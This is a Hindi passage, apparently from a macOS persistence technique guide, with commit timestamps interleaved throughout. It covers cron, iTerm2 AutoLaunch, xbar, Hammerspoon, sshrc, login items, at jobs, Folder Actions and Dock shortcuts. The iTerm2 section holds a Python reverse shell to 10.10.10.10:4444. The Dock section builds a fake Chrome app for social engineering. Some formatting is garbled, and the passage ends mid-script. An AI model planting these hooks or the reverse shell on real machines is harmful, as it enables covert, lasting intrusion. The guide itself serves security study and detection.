वहां आप नियमित **cron** **जॉब्स** , **at** **जॉब्स** (बहुत कम प्रयोग होते हैं) और **पीरियडिक** **जॉब्स** (मुख्य रूप से अस्थायी फ़ाइलों को साफ़ करने के लिए प्रयोग होते हैं) मिलेंगे। दैनिक पीरियडिक जॉब्स को उदाहरण के लिए इस तरह से निष्पादित किया जा सकता है: `periodic daily` .
2023-06-01 21:09:46 +00:00
2023-11-06 08:38:02 +00:00
**उपयोगकर्ता क्रॉनजॉब कार्यक्रम को प्रोग्रामेटिक रूप से जोड़ने** के लिए निम्नलिखित का उपयोग किया जा सकता है:
2023-09-28 15:09:34 +00:00
```bash
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
```
2023-09-28 20:05:35 +00:00
### iTerm2
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
लेख: [https://theevilbit.github.io/beyond/beyond\_0002/ ](https://theevilbit.github.io/beyond/beyond\_0002/ )
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
* सैंडबॉक्स को छलने के लिए उपयोगी: [✅ ](https://emojipedia.org/check-mark-button )
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: iTerm खोलें
2023-09-28 20:05:35 +00:00
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: iTerm खोलें
2023-09-28 20:05:35 +00:00
* **`~/Library/Preferences/com.googlecode.iterm2.plist`**
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: iTerm खोलें
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण और उत्पीड़न
2023-06-01 21:09:46 +00:00
2023-11-06 08:38:02 +00:00
**`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** में संग्रहीत स्क्रिप्ट चलाए जाएंगे। उदाहरण के लिए:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" < < EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
```
2023-11-06 08:38:02 +00:00
या:
2023-11-02 16:52:21 +00:00
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" < < EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os
async def main(connection):
2023-11-06 08:38:02 +00:00
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)
2023-11-02 16:52:21 +00:00
iterm2.run_forever(main)
EOF
```
2023-11-06 08:38:02 +00:00
स्क्रिप्ट ** `~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt` ** भी निष्पादित किया जाएगा:
2023-09-28 20:05:35 +00:00
```bash
do shell script "touch /tmp/iterm2-autolaunchscpt"
```
2023-11-06 08:38:02 +00:00
**`~/Library/Preferences/com.googlecode.iterm2.plist`** में स्थित iTerm2 प्राथमिकताएं जब iTerm2 टर्मिनल खोला जाता है, तो **एक कमांड को निष्पादित करने की संकेत कर सकती हैं** ।
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
इस सेटिंग को iTerm2 सेटिंग में कॉन्फ़िगर किया जा सकता है:
2023-09-28 20:05:35 +00:00
2023-11-03 11:03:53 +00:00
< figure > < img src = "../.gitbook/assets/image (2) (1) (1).png" alt = "" width = "563" > < figcaption > < / figcaption > < / figure >
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
और यह कमांड प्राथमिकताओं में प्रतिबिंबित होता है:
2023-09-28 20:05:35 +00:00
```bash
plutil -p com.googlecode.iterm2.plist
{
2023-11-06 08:38:02 +00:00
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"
2023-09-28 15:09:34 +00:00
```
2023-11-06 08:38:02 +00:00
आप निम्नलिखित कमांड को सेट कर सकते हैं:
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% code overflow="wrap" %}
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist
# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2
# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist
2023-09-28 15:09:34 +00:00
```
2023-09-28 20:05:35 +00:00
{% endcode %}
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="warning" %}
2023-11-06 08:38:02 +00:00
बहुत संभावित है कि iTerm2 प्राथमिकताएं अनुमति देने के लिए **अन्य तरीके** हो सकते हैं जिससे विचारहीन कमांड चलाई जा सकती है।
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
### xbar
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/ ](https://theevilbit.github.io/beyond/beyond\_0007/ )
2023-11-06 08:38:02 +00:00
* सैंडबॉक्स को छलने के लिए उपयोगी: [✅ ](https://emojipedia.org/check-mark-button )
* लेकिन xbar को स्थापित किया जाना चाहिए
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Application\ Support/xbar/plugins/`**
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: xbar को एक्सीक्यूट किया जाता है
2023-09-28 20:05:35 +00:00
### Hammerspoon
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0008/ ](https://theevilbit.github.io/beyond/beyond\_0008/ )
2023-11-06 08:38:02 +00:00
सैंडबॉक्स को छलने के लिए उपयोगी: [✅ ](https://emojipedia.org/check-mark-button )
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
* लेकिन Hammerspoon को स्थापित किया जाना चाहिए
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 20:05:35 +00:00
* **`~/.hammerspoon/init.lua`**
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: hammerspoon को एक्सीक्यूट किया जाता है
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
[**Hammerspoon** ](https://github.com/Hammerspoon/hammerspoon ) एक स्वचालन उपकरण है, जो **LUA स्क्रिप्टिंग भाषा के माध्यम से macOS स्क्रिप्टिंग** की अनुमति देता है। हम पूरे AppleScript कोड को भी एम्बेड कर सकते हैं और शेल स्क्रिप्ट चला सकते हैं।
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
ऐप एक ही फ़ाइल, `~/.hammerspoon/init.lua` , की तलाश करता है, और जब शुरू होता है, स्क्रिप्ट को एक्सीक्यूट किया जाएगा।
2023-09-28 20:05:35 +00:00
```bash
cat > "$HOME/.hammerspoon/init.lua" < < EOF
hs.execute("id > /tmp/hs.txt")
EOF
```
2023-09-28 15:09:34 +00:00
### SSHRC
2023-11-06 08:38:02 +00:00
लेख: [https://theevilbit.github.io/beyond/beyond\_0006/ ](https://theevilbit.github.io/beyond/beyond\_0006/ )
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
* सैंडबॉक्स को छलने के लिए उपयोगी: [✅ ](https://emojipedia.org/check-mark-button )
* लेकिन ssh को सक्षम करना और उपयोग करना चाहिए
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 15:09:34 +00:00
* **`~/.ssh/rc`**
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: ssh के माध्यम से लॉगिन करें
2023-09-28 15:09:34 +00:00
* **`/etc/ssh/sshrc`**
2023-11-06 08:38:02 +00:00
* रूट की आवश्यकता होती है
* **ट्रिगर**: ssh के माध्यम से लॉगिन करें
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण और शोषण
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
डिफ़ॉल्ट रूप से, जब एक उपयोगकर्ता **SSH के माध्यम से लॉगिन करता है** , स्क्रिप्ट ** `/etc/ssh/sshrc` ** और ** `~/.ssh/rc` ** क्रियान्वित हो जाएंगे, यदि `/etc/ssh/sshd_config` में `PermitUserRC no` नहीं है।
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
यदि लोकप्रिय कार्यक्रम [**xbar** ](https://github.com/matryer/xbar ) स्थापित है, तो यह संभव है कि एक शैल स्क्रिप्ट लिखा जा सकता है ** `~/Library/Application\ Support/xbar/plugins/` ** में जो xbar शुरू होने पर क्रियान्वित होगा:
2023-09-28 15:09:34 +00:00
```bash
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" < < EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
```
2023-11-06 08:38:02 +00:00
### **लॉगिन आइटम्स**
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
लेख: [https://theevilbit.github.io/beyond/beyond\_0003/ ](https://theevilbit.github.io/beyond/beyond\_0003/ )
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
* सैंडबॉक्स को छलने के लिए उपयोगी: [✅ ](https://emojipedia.org/check-mark-button )
* लेकिन आपको तार्किक विधि के साथ `osascript` को निष्पादित करने की आवश्यकता होती है
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
2023-11-06 08:38:02 +00:00
* **ट्रिगर:** लॉगिन
* एक्सप्लॉइट पेलोड संग्रहीत करने के लिए ** `osascript` ** को कॉल किया जाता है
2023-09-28 20:05:35 +00:00
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
2023-11-06 08:38:02 +00:00
* **ट्रिगर:** लॉगिन
* रूट की आवश्यकता होती है
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
सिस्टम प्राथमिकताएं -> उपयोगकर्ता और समूह -> **लॉगिन आइटम्स** में आप **उपयोगकर्ता लॉग इन करते समय निष्पादित होने वाले आइटम** ढूंढ सकते हैं।\
इन्हें सूचीबद्ध करना, जोड़ना और हटाना संभव है कमांड लाइन से:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'
#Add an item:
2023-11-06 08:38:02 +00:00
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'
2023-09-28 20:05:35 +00:00
#Remove an item:
2023-11-06 08:38:02 +00:00
osascript -e 'tell application "System Events" to delete login item "itemname"'
2023-09-28 15:09:34 +00:00
```
2023-11-06 08:38:02 +00:00
ये आइटम फ़ाइल ** `~/Library/Application Support/com.apple.backgroundtaskmanagementagent` ** में संग्रहीत होते हैं।
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
**लॉगिन आइटम** को भी API [SMLoginItemSetEnabled ](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc ) का उपयोग करके निर्दिष्ट किया जा सकता है, जो कॉन्फ़िगरेशन को ** `/var/db/com.apple.xpc.launchd/loginitems.501.plist` ** में संग्रहीत करेगा।
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
### लॉगिन आइटम के रूप में ZIP
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
(लॉगिन आइटम के बारे में पिछले खंड की जांच करें, यह एक विस्तार है)
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
यदि आप एक **ZIP** फ़ाइल को एक **लॉगिन आइटम** के रूप में संग्रहीत करते हैं, तो ** `Archive Utility` ** इसे खोलेगा और यदि ज़िप उदाहरण के लिए ** `~/Library` ** में संग्रहीत होता है और फ़ोल्डर ** `LaunchAgents/file.plist` ** में एक बैकडोर होता है, तो वह फ़ोल्डर बनाया जाएगा (यह डिफ़ॉल्ट रूप से नहीं होता है) और प्लिस्ट जोड़ा जाएगा ताकि अगली बार जब उपयोगकर्ता फिर से लॉग इन करेगा, **प्लिस्ट में निर्दिष्ट बैकडोर को निष्पादित किया जाएगा** ।
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
एक और विकल्प हो सकता है कि यदि उपयोगकर्ता HOME में पहले से मौजूद है तो फ़ोल्डर LaunchAgents बनाएं तो यह तकनीक फिर भी काम करेगी।
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
### At
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
लेख: [https://theevilbit.github.io/beyond/beyond\_0014/ ](https://theevilbit.github.io/beyond/beyond\_0014/ )
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
* **`at`** को **चलाने** की आवश्यकता होती है और यह सक्षम होना चाहिए
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### **विवरण**
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
"At tasks" का उपयोग **निश्चित समय पर कार्यों को निर्धारित करने** के लिए किया जाता है।\
ये कार्यों क्रॉन से अलग होते हैं क्योंकि **ये एक बार के कार्य होते हैं** जो कि **निष्पादित होने के बाद हटा दिए जाते हैं** । हालांकि, वे **सिस्टम पुनरारंभ के बाद भी बच जाएंगे** , इसलिए इन्हें एक संभावित खतरा के रूप में नहीं खारिज किया जा सकता है।
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
**डिफ़ॉल्ट** रूप से वे **अक्षम** होते हैं, लेकिन **रूट** उपयोगकर्ता उन्हें इस तरह से **सक्षम** कर सकता है:
2023-09-28 20:05:35 +00:00
```bash
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
```
2023-11-06 08:38:02 +00:00
यह 1 घंटे में एक फ़ाइल बनाएगा:
2023-09-28 20:05:35 +00:00
```bash
echo "echo 11 > /tmp/at.txt" | at now+1
```
2023-11-06 08:38:02 +00:00
आईएचटीएमएल टैग का उपयोग करके `atq` का उपयोग करके नौकरी कतार की जांच करें:
2023-09-28 20:05:35 +00:00
```shell-session
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
```
2023-11-06 08:38:02 +00:00
ऊपर हम दो निर्धारित कार्यों को देख सकते हैं। हम `at -c JOBNUMBER` का उपयोग करके कार्य का विवरण प्रिंट कर सकते हैं।
2023-09-28 20:05:35 +00:00
```shell-session
sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
2023-11-06 08:38:02 +00:00
echo 'Execution directory inaccessible' >& 2
exit 1
2023-09-28 20:05:35 +00:00
}
unset OLDPWD
echo 11 > /tmp/at.txt
```
{% hint style="warning" %}
2023-11-06 08:38:02 +00:00
यदि AT tasks सक्षम नहीं हैं तो बनाए गए tasks को क्रियान्वित नहीं किया जाएगा।
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-11-06 08:38:02 +00:00
**जॉब फ़ाइलें** `/private/var/at/jobs/` में मिल सकती हैं।
2023-09-28 20:05:35 +00:00
```
sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r-- 1 root wheel 6 Apr 27 00:46 .SEQ
-rw------- 1 root wheel 0 Apr 26 23:17 .lockfile
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
```
2023-11-06 08:38:02 +00:00
फ़ाइल का नाम कतार, नौकरी नंबर और वह समय समेत होता है जिसे यह निर्धारित किया गया है कि यह चलेगा। उदाहरण के लिए, हम `a0001a019bdcd2` पर एक नज़र डालते हैं।
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
* `a` - यह कतार है
* `0001a` - हेक्स में नौकरी नंबर, `0x1a = 26`
* `019bdcd2` - हेक्स में समय। यह इपॉक के बाद बिताए गए मिनटों को प्रतिष्ठान करता है। `0x019bdcd2` दशमलव में `26991826` है। यदि हम इसे 60 से गुणा करें तो हमें `1619509560` मिलता है, जो `GMT: 2021 अप्रैल 27, मंगलवार 7:46:00` है।
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
यदि हम नौकरी फ़ाइल को प्रिंट करें, तो हमें पता चलता है कि यह `at -c` का उपयोग करके हमें मिली जानकारी को ही सामग्री में शामिल करती है।
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
### फ़ोल्डर क्रियाएँ
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
लेख: [https://theevilbit.github.io/beyond/beyond\_0024/ ](https://theevilbit.github.io/beyond/beyond\_0024/ )\
लेख: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d ](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d )
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
* सैंडबॉक्स को छलनी करने के लिए उपयोगी: [✅ ](https://emojipedia.org/check-mark-button )
* लेकिन आपको तर्क के साथ osascript को बुलाने और फ़ोल्डर क्रियाएँ को कॉन्फ़िगर करने की क्षमता होनी चाहिए
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`/Library/Scripts/Folder Action Scripts`**
2023-11-06 08:38:02 +00:00
* रूट की आवश्यकता
* **ट्रिगर**: निर्दिष्ट फ़ोल्डर तक पहुँच
2023-09-28 20:05:35 +00:00
* **`~/Library/Scripts/Folder Action Scripts`**
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: निर्दिष्ट फ़ोल्डर तक पहुँच
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण और शोषण
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
एक फ़ोल्डर क्रिया स्क्रिप्ट उस फ़ोल्डर के साथ निष्पादित होता है जिसे इसे जोड़े या हटाए गए आइटम, या जब इसकी विंडो खुली, बंद हुई, हटाई गई या आकार बदला गया होता है:
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
* फ़ाइंडर UI के माध्यम से फ़ोल्डर खोलें
* फ़ोल्डर में एक फ़ाइल जोड़ें (ड्रैग/ड्रॉप या टर्मिनल से शेल प्रॉम्प्ट में भी किया जा सकता है)
* फ़ोल्डर से एक फ़ाइल हटाएँ (ड्रैग/ड्रॉप या टर्मिनल से शेल प्रॉम्प्ट में भी किया जा सकता है)
* यूआई के माध्यम से फ़ोल्डर से बाहर नेविगेट करें
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
इसे कार्यान्वित करने के कुछ तरीके हैं:
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
1. [Automator ](https://support.apple.com/guide/automator/welcome/mac ) प्रोग्राम का उपयोग करके एक फ़ोल्डर क्रिया वर्कफ़्लो फ़ाइल (.workflow) बनाएं और इसे एक सेवा के रूप में स्थापित करें।
2. एक फ़ोल्डर पर दायां क्लिक करें, `Folder Actions Setup...` , `Run Service` का चयन करें और मैन्युअल रूप से एक स्क्रिप्ट संलग्न करें।
3. OSAScript का उपयोग करके `System Events.app` को Apple Event संदेश भेजने के लिए प्रोग्रामेटिक रूप से एक नई `Folder Action` क्वेरी और पंजीकरण करें।
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
* यह एक OSAScript का उपयोग करके `System Events.app` को Apple Event संदेश भेजने के लिए स्थायित्व को कार्यान्वित करने का तरीका है
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
यह स्क्रिप्ट निष्पादित होगा:
2023-09-28 15:09:34 +00:00
{% code title="source.js" %}
```applescript
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
{% endcode %}
2023-11-06 08:38:02 +00:00
इसे इस प्रकार कंपाइल करें: `osacompile -l JavaScript -o folder.scpt source.js`
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
फिर निम्नलिखित स्क्रिप्ट को निष्पादित करें ताकि फ़ोल्डर एक्शन को सक्षम किया जा सके और पहले से कंपाइल किए गए स्क्रिप्ट को फ़ोल्डर ** `/users/username/Desktop` ** के साथ संलग्न किया जा सके:
2023-09-28 15:09:34 +00:00
```javascript
var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);
```
2023-11-06 08:38:02 +00:00
इस तरीके से स्क्रिप्ट को निष्पादित करें: `osascript -l JavaScript /Users/username/attach.scpt`
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
* यह एक GUI के माध्यम से स्थायित्व को कार्यान्वित करने का तरीका है:
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
यह स्क्रिप्ट निष्पादित होगा:
2023-09-28 15:09:34 +00:00
{% code title="source.js" %}
```applescript
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
{% endcode %}
2023-11-06 08:38:02 +00:00
इसे इस तरह से कंपाइल करें: `osacompile -l JavaScript -o folder.scpt source.js`
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
इसे इस तारीख में ले जाएं:
2023-09-28 15:09:34 +00:00
```bash
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
```
2023-11-06 08:38:02 +00:00
तो, `Folder Actions Setup` ऐप को खोलें, **वह फ़ोल्डर चुनें जिसे आप देखना चाहते हैं** और अपने मामले में ** `folder.scpt` ** को चुनें (मेरे मामले में मैंने इसे output2.scp नाम दिया था):
2023-09-28 15:09:34 +00:00
2023-11-03 11:03:53 +00:00
< figure > < img src = "../.gitbook/assets/image (2) (1) (1) (1).png" alt = "" width = "297" > < figcaption > < / figcaption > < / figure >
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
अब, यदि आप उस फ़ोल्डर को **Finder** के साथ खोलें, तो आपका स्क्रिप्ट चलाया जाएगा।
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
यह कॉन्फ़िगरेशन **plist** में संग्रहीत की गई थी, जो बेस64 प्रारूप में है और स्थित है ** `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist` **।
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
अब, चलें इस persistence को GUI एक्सेस के बिना तैयार करने की कोशिश करें:
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
1. ** `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist` ** को `/tmp` में बैकअप करने के लिए कॉपी करें:
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
2. जो Folder Actions आपने अभी सेट किए हैं, उन्हें **हटा दें** :
2023-09-28 15:09:34 +00:00
< figure > < img src = "../.gitbook/assets/image (3).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-11-06 08:38:02 +00:00
अब जब हमारे पास एक खाली environment है
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
3. बैकअप फ़ाइल कॉपी करें: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
4. इस कॉन्फ़िग को उपभोक्ता करने के लिए Folder Actions Setup.app खोलें: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
2023-09-28 15:09:34 +00:00
{% hint style="danger" %}
2023-11-06 08:38:02 +00:00
और यह मेरे लिए काम नहीं करा, लेकिन ये लिखने के निर्देश हैं:(
2023-09-28 15:09:34 +00:00
{% endhint %}
2023-09-28 20:05:35 +00:00
### Spotlight Importers
Writeup: [https://theevilbit.github.io/beyond/beyond\_0011/ ](https://theevilbit.github.io/beyond/beyond\_0011/ )
2023-11-06 08:38:02 +00:00
* सैंडबॉक्स को छलना करने के लिए उपयोगी: [🟠 ](https://emojipedia.org/large-orange-circle )
* लेकिन आप एक नये सैंडबॉक्स में आ जाएंगे
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 20:05:35 +00:00
* **`/Library/Spotlight`** 
* **`~/Library/Spotlight`**
2023-11-06 08:38:02 +00:00
#### विवरण
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
आप एक **भारी सैंडबॉक्स** में आ जाएंगे, इसलिए आप शायद इस तकनीक का उपयोग नहीं करना चाहेंगे।
2023-09-28 20:05:35 +00:00
2023-09-28 15:09:34 +00:00
### Dock shortcuts
Writeup: [https://theevilbit.github.io/beyond/beyond\_0027/ ](https://theevilbit.github.io/beyond/beyond\_0027/ )
2023-11-06 08:38:02 +00:00
* सैंडबॉक्स को छलना करने के लिए उपयोगी: [✅ ](https://emojipedia.org/check-mark-button )
* लेकिन आपको सिस्टम में एक खतरनाक एप्लिकेशन स्थापित करना होगा
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 15:09:34 +00:00
* `~/Library/Preferences/com.apple.dock.plist`
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: जब उपयोगकर्ता डॉक में एप्लिकेशन पर क्लिक करता है
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण और शोषण
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
डॉक में दिखाई देने वाले सभी एप्लिकेशन्स plist में निर्दिष्ट होते हैं: ** `~/Library/Preferences/com.apple.dock.plist` **
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
यह संभव है कि आप एक एप्लिकेशन जोड़ सकते हैं बस इसके साथ:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '< dict > < key > tile-data< / key > < dict > < key > file-data< / key > < dict > < key > _CFURLString< / key > < string > /System/Applications/Books.app< / string > < key > _CFURLStringType< / key > < integer > 0< / integer > < / dict > < / dict > < / dict > '
# Restart Dock
killall Dock
```
{% endcode %}
2023-11-06 08:38:02 +00:00
कुछ **सामाजिक इंजीनियरिंग** का उपयोग करके आप डॉक के अंदर उदाहरण के लिए Google Chrome की अनुकरण कर सकते हैं और वास्तव में अपनी स्क्रिप्ट को निष्पादित कर सकते हैं:
2023-09-28 21:12:41 +00:00
```bash
#!/bin/sh
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
# Info.plist
